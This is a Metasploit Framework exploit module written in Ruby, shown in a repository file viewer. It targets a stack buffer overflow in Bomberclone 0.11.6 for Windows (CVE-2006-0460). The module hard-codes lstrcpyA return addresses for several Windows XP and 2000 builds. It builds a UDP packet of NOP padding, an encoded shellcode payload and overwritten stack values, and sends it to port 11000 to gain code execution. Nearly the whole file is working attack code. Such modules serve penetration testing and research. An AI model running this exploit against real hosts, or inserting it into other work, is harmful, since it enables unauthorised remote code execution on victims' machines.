root / modules / exploits / windows / misc / bomberclone_overflow.rb @ master
History | View | Annotate | Download (2.1 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = AverageRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::Udp |
| 18 |
|
| 19 |
def initialize(info = {}) |
| 20 |
super(update_info(info,
|
| 21 |
'Name' => 'Bomberclone 0.11.6 Buffer Overflow', |
| 22 |
'Description' => %q{ |
| 23 |
This module exploits a stack buffer overflow in Bomberclone 0.11.6 for Windows. |
| 24 |
The return address is overwritten with lstrcpyA memory address, |
| 25 |
the second and third value are the destination buffer, |
| 26 |
the fourth value is the source address of our buffer in the stack. |
| 27 |
This exploit is like a return in libc. |
| 28 |
|
| 29 |
ATTENTION |
| 30 |
The shellcode is exec ONLY when someone try to close bomberclone. |
| 31 |
},
|
| 32 |
'Author' => 'Jacopo Cervini <acaro[at]jervus.it>', |
| 33 |
'Version' => '$Revision$', |
| 34 |
'References' =>
|
| 35 |
[ |
| 36 |
['CVE', '2006-0460'], |
| 37 |
['OSVDB', '23263'], |
| 38 |
['BID', '16697'], |
| 39 |
['URL', 'http://www.frsirt.com/english/advisories/2006/0643' ], |
| 40 |
], |
| 41 |
'Payload' =>
|
| 42 |
{
|
| 43 |
'Space' => 344, |
| 44 |
'BadChars' => "\x00" |
| 45 |
}, |
| 46 |
'Platform' => 'win', |
| 47 |
'Targets' =>
|
| 48 |
[ |
| 49 |
['Windows XP SP2 Italian', { 'Ret' => 0x7c80c729, } ], # kernel32!lstrcpyA |
| 50 |
['Windows 2000 SP1 English', { 'Ret' => 0x77e85f08, } ], # kernel32!lstrcpyA |
| 51 |
['Windows 2000 SP1 English', { 'Ret' => 0x77e95e8b, } ], # kernel32!lstrcpyA |
| 52 |
], |
| 53 |
'Privileged' => false, |
| 54 |
'DisclosureDate' => 'Feb 16 2006' |
| 55 |
)) |
| 56 |
|
| 57 |
register_options([ Opt::RPORT(11000) ], self.class) |
| 58 |
end
|
| 59 |
|
| 60 |
def exploit |
| 61 |
connect_udp |
| 62 |
|
| 63 |
pattern = make_nops(421)
|
| 64 |
pattern << payload.encoded |
| 65 |
pattern << [ target.ret ].pack('V')
|
| 66 |
pattern << "\x04\xec\xfd\x7f" * 2 |
| 67 |
pattern << "\xa4\xfa\x22\x00"
|
| 68 |
|
| 69 |
request = "\x00\x00\x00\x00\x38\x03\x41" + pattern + "\r\n" |
| 70 |
|
| 71 |
print_status("Trying #{target.name} using lstrcpyA address at #{"0x%.8x" % target.ret }...")
|
| 72 |
|
| 73 |
udp_sock.put(request) |
| 74 |
udp_sock.get |
| 75 |
|
| 76 |
handler(udp_sock) |
| 77 |
disconnect_udp |
| 78 |
end
|
| 79 |
|
| 80 |
end
|